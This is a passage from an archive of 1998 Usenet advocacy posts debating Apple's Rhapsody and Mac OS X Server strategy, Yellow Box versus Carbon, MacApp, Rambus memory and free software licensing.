was a year late, they seem to be getting better at it.
To me this seems like excellent evidence of how _well_ their doing, but
you seem to be determined to see everything they do as bad regardless.
> and neither DR1 nor DR2 fit the description.
DR2 fits the description of Premier quite well. Unless you wish to use a
description based on non-technical terms and instead based on release type.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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References: <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net> <B254BAC2-17693@206.165.43.59>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 20:33:32 GMT
In <B254BAC2-17693@206.165.43.59> "Lawson English" wrote:
> The old guard developers are also those who deal directly with old guard
> end-users. Far more than Apple does. Apple sells a few million copies of
> the OS via hardware distribution and a few million more via software
> distribution. Applications developers sell 10's of millions of copies of
> their software and have a pretty good idea what makes a Mac app a Mac app.
Hmmm. Apple has, at one time or another, sold a copy of the MacOS to
everyone that's ever run a Mac. That's what, 30 million machines or so?
Can you name any other product that has been run by _every_ Mac owner? The
number of multi-million dollar sellers can be counted on one hand, your
comment is suspect.
> If THEY don't like the look and feel fo the OS, it is a pretty good bet
> that the end-user will hate it.
Yes, but when one group says it's too NeXTish and the other says it's too
Macish, then the truth is likely somewhere in between. And it is.
Maury
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280002210981329240001@206.82.216.1>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F16L3y.6I7@T-FCN.Net> <70m49j$u8h$2@hecate.umd.edu> <F18H47.Bq9@T-FCN.Net> <rbarris-ya023280002210981125330001@206.82.216.1> <F18w9y.K6F@T-FCN.Net>
Organization: Quicksilver Software, Inc.
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Date: Thu, 22 Oct 1998 13:29:24 -0700
NNTP-Posting-Date: Thu, 22 Oct 1998 13:28:31 PDT
In article <F18w9y.K6F@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <rbarris-ya023280002210981125330001@206.82.216.1> Rob Barris wrote:
> > Rambus is a point to point interface, you can't easily hang 8 or 12
> > Rambus sockets off of one bus as is done with DRAM/SDRAM as we know it
> > today. I think if you want to have multiple banks you need more ports at
> > the processor end to talk to each channel independently.
>
> Ahhh, that's interesting. What are the ports on the CPU end like? Is it
> basically a membus<>cache controller?
Ah, good question. To put one of today's CPU's on Rambus obviously
requires some glue, a separate chip. I think a few future chips may have
Rambus interfaces built in.
Also, Rambus is supposed to grow from an 8bit wide channel to a 16bit
wide one, it's still evolving.
> > So not only the protocol is a little different, but the electricals are
> > different too. It's a relatively narrow datapath being clocked at a rate
> > 5-6 times higher than any run of the mill wide DRAM bus, this leads to
> > lots
> > of interesting PCB layout issues (precise trace lengths etc) but that is
> > the tradeoff that they make for the increased bandwidth.
>
> Right. Is the primary idea of the faster clock rate to reduce latency?
> Or is the low latency a side effect of something else entirely?
Dunno. I am sure it helps with latency, but it's also a requirement to
even be competitive in terms of throughput, with such a narrow datapath.
Rob
From: eugene@cs.umb.edu (Eugene O'Neil)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: Thu, 22 Oct 98 20:38:46 GMT
Organization: MORE Systems
Message-ID: <70o5af$94a@sjx-ixn6.ix.netcom.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <3629ca02.0@nnrp1.news.uk.psi.net> <362AB5AC.486BB4C1@nstar.net>
In article <362AB5AC.486BB4C1@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net>
wrote:
>I have a better idea than that, even: how about a license that allows
>people to give away their software, protects them from liability
>(software provided "as is"), and ensures that the proper person is given
>credit for their effort?
That sounds good on the face of it, but consider this: who exactly is the
"proper" person to give credit to, when hundreds or thousands of people might
have contributed to a free software project?
The early BSD licenses used to have a restriction that required giving credit
to Berkely for their work. Many people contributed code, and added their own
name to the list, which grew and grew. eventually it got to be pretty
ridiculous, and the practice fell out of fashion. I wouldn't suggest repeating
such mistakes.
>If I'm developing free software, in my case, that means that I'm giving
>it away. If someone wants to sell it, fine, but they won't sell very
>many copies because you can get it for free elsewhere. If they want to
>improve it and sell the improvements, they're welcome to do that. After
>all, they're selling *their* improvements, not *my* free software.
I wholheartedly agree with this attitude. That is why I choose to put my
software in the public domain. The least restrictive license is the one that
doesn't even exist...
-Eugene
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 22 Oct 98 13:49:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B254E870-62DAF@206.165.43.221>
References: <F18x3x.Kq6@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>That's what, 30 million machines or so?
>Can you name any other product that has been run by _every_ Mac owner?
>The
>number of multi-million dollar sellers can be counted on one hand, your
>comment is suspect.
But how many of the original Thought Police are still at Apple? And of
those, how many are in positions of authority? Remember, according to Chris
Espinoza, as cited in MacTech, when Jobs returned, former NeXT employees
were counted as Apple employees from the day they went to work for NeXT,
which gave many NeXT employees seniority over everyone at Apple.
Jobs officially never stopped working at Apple, in fact.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 22 Oct 98 00:39:14 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2542F3B-C66CA@206.165.43.7>
References: <70m8mh$ehe$1@news.digifix.com>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Scott Anguish <sanguish@digifix.com> said:
>
> I honestly don't know HOW you come to the conclusion that
>developers will write Mac-first using the Carbon APIs.
>
As far as I know, Adobe still uses its own version of MacApp that THEY
ported to Windows. If Apple ports a version of Carbon to Windows so that
MacApp can be used on both Windows and Mac directly, without Adobe needing
to do their own internal support of the Windows equivalent, then they have
incentive to produce Adobe products using Macs. These days, they may well
be using Pentiums for all their ground-breaking programming, which would
explain why PowerPC algorithms aren't as robust as they might be since Mac
development would abe an afterthought.
> Making Carbon cross-platform only removes the reason for
>current Mac users to buy Macs instead of Intel boxes.
>
But Yellow Box doesn't?
> Doing this in a slow, over-time manner with YB gives Apple a
>chance to transfer their income to a software based stream instead of
>a hardware based one...
>
Are you suggesting that the MacOS itself doesn't offer any advantage over
Windows XX? Not even MacOS X?
> The key is to make NEW development for the Mac attractive by
>removing the need to choose one or the other platform.
>--
But making Carbon cross-platform would do the same thing for *current*
developers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 22 Oct 1998 20:42:43 GMT
Organization: Digital Fix Development
Message-ID: <70o5c3$4jc$1@news.digifix.com>
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156> <70m8mh$ehe$1@news.digifix.com> <F18Fp3.At7@T-FCN.Net>
In-Reply-To: <F18Fp3.At7@T-FCN.Net>
On 10/22/98, Maury Markowitz wrote:
>In <70m8mh$ehe$1@news.digifix.com> Scott Anguish wrote:
>> The key is to make NEW development for the Mac attractive by
>> removing the need to choose one or the other platform.
>
> And to a lessor extent, by having better tools.
>
I wouldn't dare make a statement like this, for fear of the
CodeWarrior Cult decending on me.. :-)
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-HqXEzvpendC8@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost> <70nh71$v87$1@nnrp1.dejanews.com>
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Date: 22 Oct 1998 21:59:52 GMT
Organization: IBM.NET
On Thu, 22 Oct 1998 14:58:41, spagiola@my-dejanews.com thought aloud:
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
> > On Wed, 21 Oct 1998 19:34:23, spagiola@my-dejanews.com thought aloud:
> > [cut]
> > > The sad fact is, there NEVER WAS any enthusiasm for YB in the MacOS
> > > market, most of whose members had their heads stuck way too deep in
> > > the sand to take an objective look at it.
> > [cut]
> > ... to say that there NEVER WAS ANY interest in the Mac market towards
> > YB is rewriting history to fit the present.
>
> You're right, I should have been more precise: AMONG MAC DEVELOPERS there
> never was any interest for YB, ergo, Steve couldn't have killed it. Make a
> list of all the traditional Mac developers who announced YB ports of their
> apps, or new apps written with YB, in 1997, and you'll come up with a very
> short list indeed.
First of all I'd like to make a comment for the record: YB may not be
well but I don't consider it quite dead/killed either, ergo, Steve
Jobs couldn't have killed it. ;-)
I just read Michael's and Rex's takes on this issue and, while perhaps
diametrically opposing, both help us understand why YB didn't run with
the ball, or it took a spurt but developers were still catching their
breath after a bizarre marathon complete with shifting finish lines
and all...
Personally I believe Jobs & Co were a little too hasty in putting the
Yellow back in the Box when the initial developer interest wasn't, eh,
stellar. Apple probably knows a thing or two about developers
reactions to the Classic -> YB/BB migration plan, perhaps the majority
weren't willing to make the leap into the dark since Apple had a
history of killing "strategic" technologies without as much as a
funeral ceremony (a la "Apple is happy to announce that the deceased
technology was buried in unspecified location somewhere in Apple's
patent filing cabinet room yesterday... blah blah. Apple Computer
ignited the personal...."). In fact, many of the remaining Mac
developer faithfuls are still here with us _because_ they didn't
scramble to follow every new initiative from Cupertino ASAP. Jobs may
not have understood this, or perhaps he felt frustrated commanding a
bunch who'd give him standing ovations but wouldn't follow into battle
without hesitation, so, out of the hat came Avie's carbon-coloured
rabbit and a promise of easy stew. ("Do next to nothing <no pun
intended>, and you'll be guaranteed upgrade sales"). Now, Carbon in
itself is OK, but either Jobs/Tevanian should have come up with it a
year earlier so Rhap II wouldn't ship in late '99, or he should have
stuck to his guns and made the Mac biggies go YB so others would have
followed. Jobsian Apple made a miscalculation and the subsequent
handling/hiding of YB hasn't left much room for optimism regarding its
future.
A conspiracy theorists would also point out that as long as the MS-DOJ
battle continues, Jobs may wish to keep YB out of the spotlight until
MS is chopped into pieces, or until he can demand Gates some
unspecified favours for releasing a new Windows competitor to market
at a right time and with great fanfare to save Gates' butt. <g>
> So I don't think Steve can be blamed for killing interest in YB among Mac
> developers. I think he and Apple collectively CAN be blamed for making the
> problem worse by the way they presented the new OSX strategy, under which it
> appeared that Apple's commitment to YB was wavering at best, and non-existent
> at worst.
I would reckon that most readers, at least in this newsgroup, agree
with you here.
> A strong advocacy stance may well have persuaded more developers to
> start developing with YB, especially once the availability of Carbon promised
> a much smoother transition to the new OS (and hence a much larger number of
> potential customers). Instead, what we got was absolute and total silence.
I presume you meant "might well have persuaded" instead of "may..."?
But I agree with the view that YB and Carbon could have been
complementary from the start. Besides, fragmenting an already
not-so-large market into Mac OS 8.x vs Mac OS X Server and later Mac
OS 9 vs Mac OS X isn't very smart. Not to mention splitting the
PowerMac market into haves and have-nots. If we had one OS with YB and
Carbon and level hardware market, YB would do just fine promoting
itself even without strong advocacy until the market conditions are
ripe for the final push.
> To the point that when half-baked "OSX Server is cancelled" rumors come
> around, they sound completely plausible.
Quite incredible, isn't it.
Brgds,
--
taiQ
[this space is intentionally blank]
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 15:12:09 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E4019.42118F92@ericsson.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
> Now, I've been loudly criticizing Apple in this forum, but I think that this
> is just unfair. You can blame Jobs, perhaps, for not doing enough to sell YB.
> But blaming him for killing interest in it is just unfair hyperbole. The sad
> fact is, there NEVER WAS any enthusiasm for YB in the MacOS market, most of
> whose members had their heads stuck way too deep in the sand to take an
> objective look at it.
What do you expect?! These developers had been asking for new technology
for years! It had gotten to the point where they were asking for a *bare
minimum* of PMT and PM just to stay competitive and current, because
their market is *dying*.
All of a sudden they're supposed to come out of survival mode and run
with a completely new API? I'm sure there were plenty of developers who
were in a position to do such a thing, but most were not.
How do I say this without seeming self-contradictory? There were two
needs that had to be addressed by Apple:
1) Immediate repair of the MacOS platform so that developers could
continue to ship existing software on a viable system
2) A long-term plan that allowed developers to return to Mac-first
innovation. The Windows catch-up has bothered nobody so much as Mac
developers. John Carmack himself said that he couldn't believe Apple had
let its competitors catch up to it.
There was only one way to do this. Apple had to provide a forward track
for MacOS that involved aggressive upgrades and addition that would make
it a viable competitor to Windows. It also had to provide a second
operating system that would compete with and exceed Windows NT both in
user-use and developer-use quality, because Windows NT clearly
represented the competition's future.
Until August 1997, this was Apple's *solid* plan. I went to two "The
Road Ahead" seminars *after the NeXT acquisition* and what I heard was:
Part 1: Why we bought NeXT
Part 2: MacOS
Part 3: MacOS
Part 4: MacOS
I heard all kinds of amazing and mind-blowing things about what MacOS
technologies were currently planned. We were *PROMISED* that a new
OpenTransport 1.5 would be coming within *months*. We were told that 3D
was an important forward step for Apple; hell, the guy spent around an
hour going on about 3D in MacOS.
And what we heard about Rhapsody was aimed directly at people developing
new apps. We heard all about how design, coding, and testing could be
done in a shorter cycle than with any other environment in the industry.
New development, new development, new development, that's *all* we
heard.
I guess that guy was working for Gil Amelio, because as soon as Amelio
left we started hearing *very* different things.
MJP
From: johnc@nospam.chicagonet.net (JohnC)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacApp lives (was Mac OS X Server)
Date: Thu, 22 Oct 1998 18:02:04 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <johnc-2210981802080001@pppsl1017.chicagonet.net>
References: <70m8mh$ehe$1@news.digifix.com> <B2542F3B-C66CA@206.165.43.7> <F18G27.B0s@T-FCN.Net>
0j\Oj7U4^V*DFv&nS.AG2ytYMFD{vVjGcpYGiG,\04ZVJ(olX*IJzAc+U)BdS#P_IpK1
1zz=nBwH>21C)#t6]#x"aD*jTgS?S_VNUP36)=X6csz+Lt./0%4p8w57*)1XeFBElm9Y
||7qRf`yCGkohH4R3q8A7zQ"g
In article <F18G27.B0s@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>Sorry Lawson, this simply makes no sense. MacApp is a dead product,
>there will be no more changes.
I think that Apple's MacApp development group would disagree with you.
They just put out a new release. Even more amazing, from all indications,
they're close to releasing a MacOS/Win32 _cross-platform_ version of the
framework. Put THAT in your pipe and smoke it.
For current information, examine the USENET group comp.sys.mac.oop.macapp3
or the web site <http://developer.apple.com/dev/tools/macapp/>.
--
JohnC | queer person | johnc@chicagonet.net | ICQ 8543232
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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Sender: news@T-FCN.Net
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Cc: Michael.Peck@ericsson.com
Organization: My ISP puts something here if I don't.
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <F16z2v.DtH@T-FCN.Net>
<362E376F.AB64DD73@ericsson.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 21:14:11 GMT
In <362E376F.AB64DD73@ericsson.com> Michael Peck wrote:
> Very good. Now, working *very* slowly, answer the following questions:
>
> 1) What does DR1 stand for?
>
> 2) What does "developer's release" mean?
Excellent questions, but you missed one:
2a) What does "Premier Release" mean?
Unless you have a definition that this means "general public release"
then your line of reasoning is incorrect. I cannot remember a single time
in which Apple stated that PR was to be a generally available release. In
fact it's clear by reading over the press at the time that no one else
believed this is what it meant either. For instance in
http://macweek.zdnet.com/ns-search/mw_1120/op_crabb.html.bak?NS-search-set=/
362e4/aaaa004ef2e4a1d&NS-doc-offset=0& Don talks about what you should do
when Rhapsody ships "mid-1988". Not much confusion there. In another
article (my browser is clipping URLs) I find...
According to Apple, Rhapsody Customer Release 1, formerly known as Premier
Release, is scheduled to ship in the first part of this year.
In another article I find...
DR1 also does not include the Blue Box, the Mac OS environment within
Rhapsody. Apple said the Blue Box will arrive with the Premier release, due
early in 1998.
DR2 shipped with Blue Box. They're late in terms of getting a customer
release out in the1st half of the year, but we knew that already. If there
is a difference it's what happens _after_ the first customer release, and
that's a pretty big change.
> 6) DR1 shipped Q1,98. Why couldn't Todd ship his software to customers?
Dunno, Stone shipped Create for DR2 I believe. OmniWeb shipped OW and
others. Radical shipped this app I'm using now. I can think of well over
a dozen apps that have shipped for Rhapsody DR's from client-end apps to
database servers, and MacWEEK has a whole page full of them from late 1997.
I don't know why Todd didn't ship his product. I don't think you know
why either.
> "WHOA! I have _never_ seen anything about releasing Rhapsody before
> fall. On what basis did you tell your customers that it would be
> available?"
>
> Now you are claiming that Rhapsody was "released". Does this strike
> anyone as...typical, actually?
My bad, "public release" Happy?
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 18:29:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70l95i$e5v$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <70i4tt$i45$1@nnrp1.dejanews.com> <F16Lq2.6vs@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <70i4tt$i45$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> > Yes, Apple have a problem in correctly positioning OSX Server without
> > either
> > stealing OS8.5's thunder or undermining the future OSX. I think you're
> > 100% right, there. But it's a problem largely of their own making
>
> How so? I don't see any clearly obvious ways to make it better without
> panicing the Mac crowd.
Stressing the new strategy's continuity with the traditional MacOS via Carbon
was good, and necessary. What was NOT necessary was doing it in way that
completely undermined confidence in Apple's commitment to YB, and after that
initial mistake doing nothing to rectify the impression that YB was likely to
be an orphan. (and before you jump on that, let me stress I'm NOT saying it
IS going to be an orphan -- I'm saying Apple has given the impression that it
will.)
> > In any case, the problem does not seem so insoluble to me. Call OSX Server
> > "OSX Beta" instead, since that's what it really is anyway, and make it
> > available as a beta to anyone who wants it, either for a nominal fee or
> > for
>
> MacOS-X and Server will intersect at a fairly limited set of points. The
> underlying technology of the OS is changing radically, the entire graphics
> engine is going away, Carbon is coming etc. The only really clear
> commonality will be YB. Yes, it will look and run basically the same, but
> for that matter, so does OS8.5. I doubt you'd propose that 8.5 be called X
> beta!
I don't care what they call it, as long as they ship it. As Gary Larson is
reported to have replied when the SF Chronicle agreed to publish his comics
and suggested calling it "the Far Side" -- "I don't care if you call it
'revenge of the Zuccini People' as long as you publish it." I was merely
suggesting one way that they could ship OSXS without necessarily undermining
either OS8.5 sales (in case of either substantial adoption or consumer
confusion) or future OSX sales (in the case of lukewarm adoption).
> > And in the meantime, people like me will be able to use it to do
> > productive
> > work, as we've been doing on NeXTSTEP for years but now on much faster
> > hardware.
>
> Well, why can't you do this now - aside from having to pay twice?
You've answered your own question.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 19:34:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70lcvv$j2m$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> > If you were at WWDC, you would know the answer by the applause and the
> > comments that YB was dead and good riddance.
>
> Yes, clever strategy Jobs was pursuing, wasn't it? I'm (not) so glad to
> hear that in the span of time from August 1997 to May 1998 Jobs managed
> to basically kill all enthusiasm in the MacOS market for YB.
Now, I've been loudly criticizing Apple in this forum, but I think that this
is just unfair. You can blame Jobs, perhaps, for not doing enough to sell YB.
But blaming him for killing interest in it is just unfair hyperbole. The sad
fact is, there NEVER WAS any enthusiasm for YB in the MacOS market, most of
whose members had their heads stuck way too deep in the sand to take an
objective look at it.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: S3 ex-Exponential Patents in Merced dispute
Date: Thu, 22 Oct 1998 19:45:06 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2210981945060001@pelli.pathology.pitt.edu>
References: <36276C11.7B75C791@ericsson.com>
In article <36276C11.7B75C791@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> One possible resolution would
> involve an Merced license for S3, which could widen the processor's
> appeal and reduce its eventual price
Well that is one possibility but another would be that S3 decides that
they simply want a piece of the Merced pie. In this case they will ask
for a cut of the Merced Price which will drive the CPU price up. With the
cost of building a Fab being expensive to astronomical and the fact that
there is already so much over capacity, I would venture to bet that if
they are able to present a valid case then Intel will have to give them a
cut or Intel will have to design around it, which would be quite hard to
say the least.
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie's next.
Date: Thu, 22 Oct 1998 19:48:04 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2210981948040001@pelli.pathology.pitt.edu>
References: <yl3u30xvaif.fsf@shell8.ba.best.com>
In article <yl3u30xvaif.fsf@shell8.ba.best.com>, Robert Nicholson
<steffi@shell8.ba.best.com> wrote:
> Looks like Avie takes the stand as the DOJ's next witness. It will be
> interesting to see if MS can put words in his mouth also.
Like email from Avie to Bill propossing that if they(MS) helps AAPL with
development tools then I(Avie) will talk Steve out of entering the Windows
multimedia market. ;-)
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 21 Oct 1998 22:56:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70lor9$3pi$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <70i4tt$i45$1@nnrp1.dejanews.com> <F16Lq2.6vs@T-FCN.Net> <70l95i$e5v$1@nnrp1.dejanews.com> <F16yuy.Dox@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <70l95i$e5v$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> > Stressing the new strategy's continuity with the traditional MacOS via
> > Carbon was good, and necessary. What was NOT necessary was doing it in
> > way that completely undermined confidence in Apple's commitment to YB,
> > and after that initial mistake doing nothing to rectify the impression
> > that YB was likely to be an orphan.
>
> There are three issues competing for attention here...
> a) don't confuse anyone
> b) talk about YB, which won't be in general use for a year
> c) talk about carbon, which is what they all wanted to hear
> Sorry, I see no easy way of doing this "right". You seem to think this
> is a simple issue, like talk about YB more.
IMHO, there's a difference between "they all wanted to hear about Carbon" and
"they didn't want to hear about anything else." Frankly, it doesn't sound
that complicated to me: (1) Have legacy code? We're giving you carbon, which
will allow you to port easily and give you an app which will be afirst-class
citizen. (2) Want to write new apps? We have YB, which is the best
development environment around. Now, I think you'll agree with me that this
is the strategy. Except that the way they presented it at WWDC (and since),
they only said (1). And they said it in a way that not only ignored (2) but
SEEMED to actively denigrate it. Remember Steve's quote "Now what WAS this
Rhapsody thing?" (emphasis added)? Maybe YOU didn't get that impression, but
I sure did. And I was not alone, as you may well remember.
I'll say it again: IMHO, they botched the presentation of the new strategy.
> > (and before you jump on that, let me stress I'm NOT saying it
> > IS going to be an orphan -- I'm saying Apple has given the impression
> > that it will.)
>
> When? When have they made any statement that gives you this impression?
See above. Plus their total silence since. Now, I happen to know that this
impression is wrong. But the impression remains.
> > I don't care what they call it, as long as they ship it.
>
> Well this is a rather different claim than what you were saying a few
> days ago. _I_ don't think the name matters personally BTW.
Re-read what I said earlier. I even threatened to quote Romeo and Juliet ("A
rose by any other name...")
> > suggesting one way that they could ship OSXS without necessarily
> > undermining either OS8.5 sales (in case of either substantial adoption
> > or consumer confusion) or future OSX sales (in the case of lukewarm
> > adoption).
>
> I don't think it will, but even talking about it WILL confuse people. Go
> read that article on PCWeek about Apple coming back into IT, if that
> doesn't convince you nothing will.
Sorry, Maury, but I keep being confused on what you're referring to. What is
"it" in the first sentence here referring to?
If you're arguing that changing their name again would further confuse
people, and especially IT people, then point taken. But the point is this: if
they're so worried about their marketing position that they'd rather not ship
at all, then something like what I suggested would be better than not
shipping at all. Bear in mind that suggestion was made when the hot rumor was
that "OSXS is cancelled". Now that it seems its not, the suggestion is moot,
anyway.
> > > Well, why can't you do this now - aside from having to pay twice?
> >
> > You've answered your own question.
>
> Explain how having to pay twice - as you would have to anyway for any
> other OS upgrade - makes you unable to use the software? If you cannot
> afford it now, you cannot afford it now.
The only way I could get it now is by signing up to the developer program
which means $500 at least. Not a reasonable price for an OS (which is the
only thing I'd want, the rest of the stuff I have no use for), the more so if
I then have to pay again for the release version. If that's what OSXS sells
for, I won't buy it when it does ship, either. I don't think I'm alone in
this -- it would be BIG MISTAKE for Apple to price OSXS anywhere near this
level. but that's a whole 'nother discussion.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: spagiola@my-dejanews.com
Organization: My ISP puts something here if I don't.
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com>
<70limg$rgq$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 23:18:12 GMT
In <70limg$rgq$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> As far as Rhapsody/OSX Server, i wouldn't characterize the problem as
> their
> having "blown it". The originally-planned "premier" release of Rhapsody
> was
